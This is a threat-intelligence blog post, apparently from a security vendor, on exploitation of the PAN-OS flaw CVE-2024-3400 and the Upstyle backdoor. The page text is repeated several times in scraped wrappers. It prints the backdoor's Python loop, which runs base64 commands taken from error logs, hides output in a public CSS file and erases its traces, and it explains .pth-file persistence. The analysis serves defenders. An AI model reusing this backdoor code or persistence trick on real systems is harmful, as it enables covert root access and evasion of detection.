IntroductionRecently, a zero-day command-injection vulnerability, assigned to CVE-2024-3400, was found in the Palo Alto Networks PAN-OS. It was assigned the maximum severity score of 10.0 and can be exploited by an unauthenticated user to run arbitrary commands on the target system with root privileges.Volexity was the first to identify and report the vulnerability. Since then, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2024-3400 to its Known Exploited Vulnerability Catalog.In this blog, we will share the vulnerability exploitation activity observed by Zscaler’s global intelligence network. And, we will examine the recently-discovered Python-based backdoor and its novel interaction mechanism with the operator.Key TakeawaysZscaler’s global intelligence network picked up CVE-2024-3400 activity right after the exploitation script was released.The backdoor utilizes a .pth file for auto-execution and employs a novel indirect interaction with the backdoor by sending commands via error logs and receiving the output through a publicly accessible stylesheet.On the same day the vulnerability was publicly disclosed, a Python-based exploit script was also released to the public on GitHub, making it easier for other threat actors to exploit or test Palo Alto appliances for this vulnerability. Activity Observed by ZscalerZscaler’s global intelligence network picked up activity from various known malicious sources targeting appliances across multiple customers. This activity was picked up almost immediately after the publication of the exploitation script on GitHub. The activity does not appear to target any particular region or industry vertical.Most of the activity observed originated from malicious IPs already known to be associated with vulnerability scanning, Redline Stealer, and EvilProxy. However, one IP stands out from this group. We believe the IP address 67.55.94[.]84 is associated with a VPN provider. No other activity from this IP has been observed. Currently, there is insufficient evidence to attribute this IP to any specific threat actor.Technical AnalysisWe suspect the attackers intended to incorporate Upstyle in their attack sequence. Upstyle, a sophisticated backdoor initially identified by Volexity, employs innovative techniques for persistence, command reception, and output sharing with the operator. Attack flowThe figure below shows how the attack flow would unfold.Figure 1: The possible firewall-based attack chain enabled by the PAN-OS zero-day vulnerability. Upstyle backdoorThe Upstyle backdoor consists of three layers.The first outer layer is the installer which contains the next layer in a base64-encoded format.Layer 1 – InstallerThe installer layer writes the next layer to the following path: /usr/lib/python3.6/site-packages/system.pth. Additionally, it will set the last access time and last modified time of the system.pth file to the same respective time as the installer script.Finally, the installer script deletes itself and the /opt/pancfg/mgmt/licenses/PA_VM`* file.The file path and the extension have special significance. Since the release of Python 3.5, any .pth file under site-packages is run at every Python startup and the lines starting with import (followed by space or tab) are executed, thereby setting up a unique auto-execution mechanism for the malicious code whenever any Python code is run on the system.Layer 2 – LauncherThis layer contains the functional backdoor as another base64-encoded blob of code. It contains two functions named protect and check.protect: This function likely protects the persistence mechanism and makes sure the backdoor stays in the system.pth file. It reads the contents of system.pth and adds a handler for the termination signal. The handler will write back the contents of the system.pth file before terminating. check: This method is called after the protect method. It will check if the process command line contains /usr/local/bin/monitor mp by checking the file /proc/self/cmdline. If it does, the backdoor code will be executed. This could be a way to control the execution of the backdoor and avoid running multiple duplicates of the backdoor thread.Layer 3 – BackdoorOn start, this backdoor will read the content, last access time, and last modified time of the file /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css so it can be restored later.Then, it goes into an infinite loop and starts monitoring the error log file at /var/log/pan/sslvpn_ngx_error.log looking for one of the following regular expressions: img[([a-zA-Z0-9+/=]+)] or imgbase64encoded_command as shown in the code snippet below.When the pattern is found, the command is base64 decoded, executed, and the output is appended to the bootstrap.min.css file inside the comment tags, /* command output here */.Finally, the log file is purged of the attacker’s generated error logs containing the malicious commands, and the error-log-file timestamps are restored. After 15 seconds the content and timestamps of the bootstrap.min.css file are also restored.– [snip] —
css_path = ‘/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css’
content = open(css_path).read()
atime=os.path.getatime(css_path)
mtime=os.path.getmtime(css_path)
while True:
try:
SHELL_PATTERN = ‘img[([a-zA-Z0-9+/=]+)]’
lines = []
WRITE_FLAG = False
for line in open(“/var/log/pan/sslvpn_ngx_error.log”,errors=”ignore”).readlines():
rst = re.search(SHELL_PATTERN,line)
if rst:
WRITE_FLAG = True
cmd = base64.b64decode(rst.group(1)).decode()
try:
output = os.popen(cmd).read()
with open(css_path,”a”) as f:
f.write(“/*”+output+”*/”)
except Exception as e:
pass
continue
lines.append(line)
if WRITE_FLAG:
atime=os.path.getatime(“/var/log/pan/sslvpn_ngx_error.log”)
mtime=os.path.getmtime(“/var/log/pan/sslvpn_ngx_error.log”)
with open(“/var/log/pan/sslvpn_ngx_error.log”,”w”) as f:
f.writelines(lines)
os.utime(“/var/log/pan/sslvpn_ngx_error.log”,(atime,mtime))
import threading
threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
except:
pass
time.sleep(2)
— [snip] —
ConclusionCVE-2024-3400 is a high severity vulnerability. There was an uptick in malicious activity soon after an exploit script was released to the public on GitHub.The founding principles of the Zero Trust Exchange Platform™, a zero trust architecture, and Defense-in-Depth (DiD) should be used in combination to defend against such attacks. In addition to deploying detection rules and monitoring for suspicious activity in environments, security teams should also adopt deception engineering. Strategic use of this technology can make it difficult for the adversary to move in the environment without tripping alerts.Indicators Of Compromise (IOCs)Vulnerability scan originating IPsIPComment23.227.194.230Known Malicious IP154.88.26.223Known Malicious IP206.189.14.205Known Malicious IP67.55.94.84SaferVPN IPSHA256 Hashesab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f33de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
[[“value”:”
We suspect the attackers intended to incorporate Upstyle in their attack sequence. Upstyle, a sophisticated backdoor initially identified by Volexity, employs innovative techniques for persistence, command reception, and output sharing with the operator.
Attack flow
The figure below shows how the attack flow would unfold.
Figure 1: The possible firewall-based attack chain enabled by the PAN-OS zero-day vulnerability.
Upstyle backdoor
The Upstyle backdoor consists of three layers.
The first outer layer is the installer which contains the next layer in a base64-encoded format.
Layer 1 – Installer
The installer layer writes the next layer to the following path: /usr/lib/python3.6/site-packages/system.pth. Additionally, it will set the last access time and last modified time of the system.pth file to the same respective time as the installer script.
Finally, the installer script deletes itself and the /opt/pancfg/mgmt/licenses/PA_VM`* file.
The file path and the extension have special significance. Since the release of Python 3.5, any .pth file under site-packages is run at every Python startup and the lines starting with import (followed by space or tab) are executed, thereby setting up a unique auto-execution mechanism for the malicious code whenever any Python code is run on the system.
Layer 2 – Launcher
This layer contains the functional backdoor as another base64-encoded blob of code. It contains two functions named protect and check.
protect: This function likely protects the persistence mechanism and makes sure the backdoor stays in the system.pth file. It reads the contents of system.pth and adds a handler for the termination signal. The handler will write back the contents of the system.pth file before terminating. check: This method is called after the protect method. It will check if the process command line contains /usr/local/bin/monitor mp by checking the file /proc/self/cmdline. If it does, the backdoor code will be executed. This could be a way to control the execution of the backdoor and avoid running multiple duplicates of the backdoor thread.
Layer 3 – Backdoor
On start, this backdoor will read the content, last access time, and last modified time of the file /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css so it can be restored later.
Then, it goes into an infinite loop and starts monitoring the error log file at /var/log/pan/sslvpn_ngx_error.log looking for one of the following regular expressions: img[([a-zA-Z0-9+/=]+)] or imgbase64encoded_command as shown in the code snippet below.
When the pattern is found, the command is base64 decoded, executed, and the output is appended to the bootstrap.min.css file inside the comment tags, /* command output here */.
Finally, the log file is purged of the attacker’s generated error logs containing the malicious commands, and the error-log-file timestamps are restored. After 15 seconds the content and timestamps of the bootstrap.min.css file are also restored.
— [snip] –
css_path = ‘/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css’
content = open(css_path).read()
atime=os.path.getatime(css_path)
mtime=os.path.getmtime(css_path)
while True:
try:
SHELL_PATTERN = ‘img[([a-zA-Z0-9+/=]+)]’
lines = []
WRITE_FLAG = False
for line in open(“/var/log/pan/sslvpn_ngx_error.log”,errors=”ignore”).readlines():
rst = re.search(SHELL_PATTERN,line)
if rst:
WRITE_FLAG = True
cmd = base64.b64decode(rst.group(1)).decode()
try:
output = os.popen(cmd).read()
with open(css_path,”a”) as f:
f.write(“/*”+output+”*/”)
except Exception as e:
pass
continue
lines.append(line)
if WRITE_FLAG:
atime=os.path.getatime(“/var/log/pan/sslvpn_ngx_error.log”)
mtime=os.path.getmtime(“/var/log/pan/sslvpn_ngx_error.log”)
with open(“/var/log/pan/sslvpn_ngx_error.log”,”w”) as f:
f.writelines(lines)
os.utime(“/var/log/pan/sslvpn_ngx_error.log”,(atime,mtime))
import threading
threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
except:
pass
time.sleep(2)
— [snip] —
“]] [[“value”:”IntroductionRecently, a zero-day command-injection vulnerability, assigned to CVE-2024-3400, was found in the Palo Alto Networks PAN-OS. It was assigned the maximum severity score of 10.0 and can be exploited by an unauthenticated user to run arbitrary commands on the target system with root privileges.Volexity was the first to identify and report the vulnerability. Since then, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2024-3400 to its Known Exploited Vulnerability Catalog.In this blog, we will share the vulnerability exploitation activity observed by Zscaler’s global intelligence network. And, we will examine the recently-discovered Python-based backdoor and its novel interaction mechanism with the operator.Key TakeawaysZscaler’s global intelligence network picked up CVE-2024-3400 activity right after the exploitation script was released.The backdoor utilizes a .pth file for auto-execution and employs a novel indirect interaction with the backdoor by sending commands via error logs and receiving the output through a publicly accessible stylesheet.On the same day the vulnerability was publicly disclosed, a Python-based exploit script was also released to the public on GitHub, making it easier for other threat actors to exploit or test Palo Alto appliances for this vulnerability. Activity Observed by ZscalerZscaler’s global intelligence network picked up activity from various known malicious sources targeting appliances across multiple customers. This activity was picked up almost immediately after the publication of the exploitation script on GitHub. The activity does not appear to target any particular region or industry vertical.Most of the activity observed originated from malicious IPs already known to be associated with vulnerability scanning, Redline Stealer, and EvilProxy. However, one IP stands out from this group. We believe the IP address 67.55.94[.]84 is associated with a VPN provider. No other activity from this IP has been observed. Currently, there is insufficient evidence to attribute this IP to any specific threat actor.Technical AnalysisWe suspect the attackers intended to incorporate Upstyle in their attack sequence. Upstyle, a sophisticated backdoor initially identified by Volexity, employs innovative techniques for persistence, command reception, and output sharing with the operator. Attack flowThe figure below shows how the attack flow would unfold.Figure 1: The possible firewall-based attack chain enabled by the PAN-OS zero-day vulnerability. Upstyle backdoorThe Upstyle backdoor consists of three layers.The first outer layer is the installer which contains the next layer in a base64-encoded format.Layer 1 – InstallerThe installer layer writes the next layer to the following path: /usr/lib/python3.6/site-packages/system.pth. Additionally, it will set the last access time and last modified time of the system.pth file to the same respective time as the installer script.Finally, the installer script deletes itself and the /opt/pancfg/mgmt/licenses/PA_VM`* file.The file path and the extension have special significance. Since the release of Python 3.5, any .pth file under site-packages is run at every Python startup and the lines starting with import (followed by space or tab) are executed, thereby setting up a unique auto-execution mechanism for the malicious code whenever any Python code is run on the system.Layer 2 – LauncherThis layer contains the functional backdoor as another base64-encoded blob of code. It contains two functions named protect and check.protect: This function likely protects the persistence mechanism and makes sure the backdoor stays in the system.pth file. It reads the contents of system.pth and adds a handler for the termination signal. The handler will write back the contents of the system.pth file before terminating. check: This method is called after the protect method. It will check if the process command line contains /usr/local/bin/monitor mp by checking the file /proc/self/cmdline. If it does, the backdoor code will be executed. This could be a way to control the execution of the backdoor and avoid running multiple duplicates of the backdoor thread.Layer 3 – BackdoorOn start, this backdoor will read the content, last access time, and last modified time of the file /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css so it can be restored later.Then, it goes into an infinite loop and starts monitoring the error log file at /var/log/pan/sslvpn_ngx_error.log looking for one of the following regular expressions: img[([a-zA-Z0-9+/=]+)] or imgbase64encoded_command as shown in the code snippet below.When the pattern is found, the command is base64 decoded, executed, and the output is appended to the bootstrap.min.css file inside the comment tags, /* command output here */.Finally, the log file is purged of the attacker’s generated error logs containing the malicious commands, and the error-log-file timestamps are restored. After 15 seconds the content and timestamps of the bootstrap.min.css file are also restored.– [snip] —
css_path = ‘/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css’
content = open(css_path).read()
atime=os.path.getatime(css_path)
mtime=os.path.getmtime(css_path)
while True:
try:
SHELL_PATTERN = ‘img[([a-zA-Z0-9+/=]+)]’
lines = []
WRITE_FLAG = False
for line in open(“/var/log/pan/sslvpn_ngx_error.log”,errors=”ignore”).readlines():
rst = re.search(SHELL_PATTERN,line)
if rst:
WRITE_FLAG = True
cmd = base64.b64decode(rst.group(1)).decode()
try:
output = os.popen(cmd).read()
with open(css_path,”a”) as f:
f.write(“/*”+output+”*/”)
except Exception as e:
pass
continue
lines.append(line)
if WRITE_FLAG:
atime=os.path.getatime(“/var/log/pan/sslvpn_ngx_error.log”)
mtime=os.path.getmtime(“/var/log/pan/sslvpn_ngx_error.log”)
with open(“/var/log/pan/sslvpn_ngx_error.log”,”w”) as f:
f.writelines(lines)
os.utime(“/var/log/pan/sslvpn_ngx_error.log”,(atime,mtime))
import threading
threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
except:
pass
time.sleep(2)
— [snip] —
ConclusionCVE-2024-3400 is a high severity vulnerability. There was an uptick in malicious activity soon after an exploit script was released to the public on GitHub.The founding principles of the Zero Trust Exchange Platform™, a zero trust architecture, and Defense-in-Depth (DiD) should be used in combination to defend against such attacks. In addition to deploying detection rules and monitoring for suspicious activity in environments, security teams should also adopt deception engineering. Strategic use of this technology can make it difficult for the adversary to move in the environment without tripping alerts.Indicators Of Compromise (IOCs)Vulnerability scan originating IPsIPComment23.227.194.230Known Malicious IP154.88.26.223Known Malicious IP206.189.14.205Known Malicious IP67.55.94.84SaferVPN IPSHA256 Hashesab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f33de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb”]]